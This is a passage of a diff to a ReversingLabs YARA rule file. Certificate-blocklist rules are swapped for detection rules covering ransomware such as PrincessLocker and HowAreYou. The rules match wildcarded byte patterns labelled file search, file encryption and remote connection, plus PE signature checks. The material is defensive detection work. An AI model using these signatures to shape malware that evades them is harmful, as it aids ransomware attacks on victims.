?? ?? ?? 50 8B 45 ?? 8B 40 + ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? + ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 + FF 30 64 89 20 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 + 8B 90 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 + C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? + C3 E9 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? + ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 + 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? + A1 ?? ?? ?? ?? 8B 00 8B 90 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8B 45 ?? E8 + ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8B 45 + ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? + C3 E9 ?? ?? ?? ?? EB ?? 8B E5 5D C3 + } + $find_files = { + E8 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B 55 ?? 8B C3 E8 ?? ?? ?? ?? + 84 C0 0F 85 ?? ?? ?? ?? 33 C0 89 43 ?? 8B 43 ?? E8 ?? ?? ?? ?? 8B F0 85 F6 7C ?? 46 + 33 FF 8B 43 ?? C7 04 B8 ?? ?? ?? ?? 47 4E 75 ?? 8B 43 ?? 8B 40 ?? E8 ?? ?? ?? ?? 8B + F0 85 F6 7C ?? 46 33 FF 8B 43 ?? 8B 40 ?? 8B 14 B8 8D 8D ?? ?? ?? ?? 8B 45 ?? E8 ?? + ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B 43 ?? 8B 53 ?? 89 14 B8 47 4E 75 + ?? 8B 73 ?? 4E 85 F6 7C ?? 46 33 FF 80 7B ?? ?? 0F 85 ?? ?? ?? ?? 8D 04 BF 8B 53 ?? + 8D 04 C2 89 43 ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8B 45 ?? 8B 10 8B 45 ?? E8 ?? ?? ?? ?? + 8B 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B + 45 ?? 33 D2 E8 ?? ?? ?? ?? 47 4E 75 ?? 8B 43 ?? 8B 40 ?? 80 78 ?? ?? 0F 84 ?? ?? ?? + ?? 80 7B ?? ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? BA ?? ?? ?? + ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 89 45 + ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 F6 85 ?? + ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? + 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 + ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C3 + E8 ?? ?? ?? ?? 80 7B ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 + C0 0F 85 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? + ?? C3 E9 ?? ?? ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5F 5E 5B 8B E5 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xEB\\x8D\\xB0\\xEC\\x8A\\xA4\\xED\\x81\\xAC\\xED\\x83\\x91\\xEC\\x95\\x84\\xEC\\x9D\\xB4\\xEC\\xBD\\x98" and pe.signatures [ i ] . serial == "53:bb:75:3b:79:a9:9e:61:a6:e8:22:ac:52:46:0c:70" and 1400543999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $find_files and $encrypt_files_1 and $encrypt_files_2 and $remote_connection_1 and $remote_connection_2 and $remote_connection_3 } - -rule REVERSINGLABS_Cert_Blocklist_83F68Fc6834Bf8Bd2C801A2D1F1Acc76 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Princesslocker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects PrincessLocker ransomware." author = "ReversingLabs" - id = "763d4faf-19af-5349-a643-4773055df47a" - date = "2020-08-05" - modified = "2023-11-08" + id = "b76ef137-aa0b-5fd3-9876-2459cb6535ff" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2690-L2708" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.PrincessLocker.yara#L1-L92" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "35552242f9f0a56b45e30e6f376877446f33e24690ff5d7b03dc776fab178afd" + logic_hash = "5be4ca3bd0b0afed1d2f3a59e2951d74a8de94c5a4d5a2c6cc29add49eab9ec0" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "PrincessLocker" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files = { + 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 + 6A ?? 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? + ?? BA ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? 83 7D ?? ?? 0F 43 45 + ?? 50 53 FF D7 6A ?? FF B5 ?? ?? ?? ?? 8B F0 FF 15 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? + FF B5 ?? ?? ?? ?? FF D6 85 C0 75 ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 + ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 50 6A ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 85 C0 0F 84 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? + 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 53 FF D7 68 ?? ?? ?? + ?? 8D 4D ?? 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 89 9D ?? ?? ?? ?? 85 DB 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D + 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? A1 ?? ?? + ?? ?? 8B 30 89 B5 ?? ?? ?? ?? 3B F0 0F 84 ?? ?? ?? ?? 33 C9 C6 45 ?? ?? 6A ?? 51 8D + 46 ?? 66 89 8D ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? + ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 83 BD ?? ?? ?? ?? ?? 72 ?? FF B5 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 7D ?? ?? + 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 50 FF 75 ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 83 EC ?? C6 45 ?? ?? 8B CC + 33 C0 6A ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 50 66 89 01 8D 85 ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? + C3 C7 45 ?? ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? + E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + C4 ?? 68 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 + 45 ?? ?? 83 BD ?? ?? ?? ?? ?? 72 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? + 68 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D BD ?? ?? + ?? ?? 6A ?? 6A ?? 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 83 BD + ?? ?? ?? ?? ?? 6A ?? 0F 43 BD ?? ?? ?? ?? 6A ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 + 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? + ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 8B F8 83 FF + ?? 0F 84 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? + ?? ?? 50 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 85 + ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 48 39 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? + 0F B6 C9 0F 46 C8 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? 0F B6 C1 6A ?? 50 6A ?? FF + B5 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF B5 + ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 FF 15 + } + $remote_connection_1 = { + 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 84 DB 0F 85 ?? ?? ?? + ?? 6A ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? C7 45 ?? ?? + ?? ?? ?? 66 C7 45 ?? ?? ?? 88 5D ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? + ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B 85 ?? + ?? ?? ?? BA ?? ?? ?? ?? 89 45 ?? E8 ?? ?? ?? ?? 8B F0 8D 55 ?? C6 45 ?? ?? 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 56 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 + } + $remote_connection_2 = { + BA ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 66 C7 45 ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 C7 45 ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 8D 55 ?? C6 45 + ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 BA ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8B F0 8D 55 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 + 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 8B D0 C6 45 ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 53 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? + ?? 51 8B D0 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D + ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 50 E8 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Helpful Technologies, Inc" and ( pe.signatures [ i ] . serial == "00:83:f6:8f:c6:83:4b:f8:bd:2c:80:1a:2d:1f:1a:cc:76" or pe.signatures [ i ] . serial == "83:f6:8f:c6:83:4b:f8:bd:2c:80:1a:2d:1f:1a:cc:76" ) and 1407715199 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $encrypt_files and $remote_connection_1 and $remote_connection_2 } - -rule REVERSINGLABS_Cert_Blocklist_F385E765Acfb95605C9B35Ca4C32F80E : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Howareyou : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects HowAreYou ransomware." author = "ReversingLabs" - id = "865f8daf-35c4-5437-9c97-9b9fc48d7d70" - date = "2020-08-05" - modified = "2023-11-08" + id = "998fbebe-099d-5779-ad4a-91b7b6c8ad6b" + date = "2021-06-14" + modified = "2021-06-14" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L2710-L2728" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.HowAreYou.yara#L1-L205" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c73c8f1913d3423a52f5e77751813460ae9200eb3cb1cc6e2ec30f37f0da8152" + logic_hash = "90568365aac61d120886f9efa9822ccc23df79a1a55e522c81db6e77477c4f04" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "HowAreYou" + tc_detection_factor = 5 importance = 25 + strings: + $remote_connection_p1 = { + 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 8B 05 ?? + ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 85 C9 0F 85 ?? ?? ?? ?? 8D 0D ?? ?? + ?? ?? 89 08 8B 05 ?? ?? ?? ?? 8D 0D ?? ?? ?? ?? 89 0C 24 89 44 24 ?? E8 ?? ?? ?? ?? + 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 8B 6C 24 ?? 85 C9 74 ?? 74 ?? 8B 49 + ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? 8D 44 24 + ?? 89 04 24 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 E8 ?? + ?? ?? ?? 83 C4 ?? C3 89 54 24 ?? 89 5C 24 ?? 89 6C 24 ?? 8D 05 ?? ?? ?? ?? 89 04 24 + C7 44 24 ?? ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? + E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 85 D2 74 ?? 74 ?? 8B + 4A ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? 8D 05 + ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ?? ?? 8D 44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? + ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 89 D1 + } + $remote_connection_p2 = { + EB ?? 89 4C 24 ?? 89 5C 24 ?? 84 03 89 4C 24 ?? C7 04 24 ?? ?? ?? ?? 8D 43 ?? 89 44 + 24 ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 44 24 ?? 8B 48 ?? 8B 54 24 ?? 89 54 + 24 ?? 8B 54 24 ?? 89 54 24 ?? 8B 54 24 ?? 89 54 24 ?? 8B 54 24 ?? 89 14 24 FF D1 8B + 44 24 ?? 8B 4C 24 ?? 85 C0 74 ?? 74 ?? 8B 40 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? + ?? ?? ?? ?? 89 44 24 ?? 89 4C 24 ?? 8D 05 ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ?? + ?? 8D 44 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? + ?? ?? 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 8D 05 ?? ?? ?? ?? 89 04 24 C7 44 24 ?? ?? ?? ?? + ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C + 24 ?? 8B 5B ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? 8B 44 24 ?? 89 04 24 FF D3 90 E8 + ?? ?? ?? ?? 83 C4 ?? C3 90 E8 ?? ?? ?? ?? 83 C4 ?? C3 89 04 24 8D 05 ?? ?? ?? ?? 89 + 44 24 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 + } + $find_files_p1 = { + 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 8D 44 24 ?? 3B 41 ?? 0F 86 ?? ?? ?? ?? 81 EC + ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 8B 8C 24 ?? ?? ?? ?? 89 4C 24 ?? E8 ?? ?? + ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 85 C9 0F 85 ?? ?? ?? ?? 89 54 + 24 ?? 89 9C 24 ?? ?? ?? ?? 31 C0 31 C9 31 ED 31 F6 EB ?? 8B 7C 24 ?? 47 8B 9C 24 ?? + ?? ?? ?? 89 CD 89 C6 89 F8 89 D1 8B 54 24 ?? 39 D0 0F 8D ?? ?? ?? ?? 89 44 24 ?? 89 + 4C 24 ?? 89 AC 24 ?? ?? ?? ?? 89 74 24 ?? 8D 0C C3 8B 11 89 94 24 ?? ?? ?? ?? 8B 49 + ?? 89 8C 24 ?? ?? ?? ?? 8B 6A ?? 89 0C 24 FF D5 0F B6 44 24 ?? 84 C0 0F 84 ?? ?? ?? + ?? 8B 84 24 ?? ?? ?? ?? 8B 40 ?? 8B 8C 24 ?? ?? ?? ?? 89 0C 24 FF D0 8B 44 24 ?? 8B + 4C 24 ?? 89 0C 24 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 85 C0 0F 86 ?? + ?? ?? ?? 0F B6 11 80 FA ?? 75 ?? 8B 44 24 ?? 8B 8C 24 ?? ?? ?? ?? 8B 54 24 ?? E9 ?? + ?? ?? ?? 80 FA ?? 74 ?? 89 44 24 ?? 89 8C 24 ?? ?? ?? ?? 89 0C 24 89 44 24 ?? 8B 15 + ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 89 6C 24 ?? 89 5C 24 ?? 89 54 24 ?? + E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 74 ?? 8B 44 24 ?? 8B 8C 24 ?? ?? ?? ?? 8B 54 24 + ?? E9 ?? ?? ?? ?? 8B 44 24 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B 11 + } + $find_files_p2 = { + 81 FA ?? ?? ?? ?? 75 ?? 0F B7 51 ?? 66 81 FA ?? ?? 75 ?? 0F B6 51 ?? 80 FA ?? 0F 84 + ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 89 54 24 ?? 8B 9C 24 ?? ?? ?? + ?? 89 5C 24 ?? 8D 2D ?? ?? ?? ?? 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89 + 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 04 24 89 4C 24 ?? E8 ?? ?? ?? ?? + 8B 44 24 ?? 8D 48 ?? 8B 54 24 ?? 8B 5C 24 ?? 8B 6C 24 ?? 39 E9 7F ?? 8B B4 24 ?? ?? + ?? ?? 8D 7C C6 ?? 89 1F 8D 04 C6 8B 1D ?? ?? ?? ?? 85 DB 75 ?? 89 10 89 E8 89 CA 89 + F1 E9 ?? ?? ?? ?? 89 B4 24 ?? ?? ?? ?? 89 4C 24 ?? 89 6C 24 ?? 89 04 24 89 54 24 ?? + E8 ?? ?? ?? ?? 8B 4C 24 ?? 8B 6C 24 ?? 8B B4 24 ?? ?? ?? ?? EB ?? 89 94 24 ?? ?? ?? + ?? 89 5C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 89 44 24 + ?? 89 6C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 74 24 ?? 8B 44 24 ?? 8B 6C 24 ?? 8D 48 + ?? 8B 44 24 ?? 8B 94 24 ?? ?? ?? ?? 8B 5C 24 ?? E9 ?? ?? ?? ?? 8D 54 24 ?? 89 14 24 + 8B 94 24 ?? ?? ?? ?? 89 54 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 8D 2D ?? ?? ?? ?? + 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 + ?? 8B 4C 24 ?? 89 0C 24 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 8C 24 ?? ?? ?? ?? + E9 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 8B 40 ?? 8B + } + $find_files_p3 = { + 8C 24 ?? ?? ?? ?? 89 0C 24 FF D0 8B 44 24 ?? 8B 4C 24 ?? 89 0C 24 89 44 24 ?? E8 ?? + ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 89 04 24 89 4C 24 ?? 8B 15 + ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 89 6C 24 ?? 89 5C 24 ?? 89 54 24 ?? + E8 ?? ?? ?? ?? 0F B6 44 24 ?? 84 C0 74 ?? 8B 44 24 ?? 8B 8C 24 ?? ?? ?? ?? 8B 54 24 + ?? E9 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 8B 4C 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 + 24 ?? 89 84 24 ?? ?? ?? ?? 8B 4C 24 ?? 89 4C 24 ?? C7 04 24 ?? ?? ?? ?? 8B 94 24 ?? + ?? ?? ?? 89 54 24 ?? 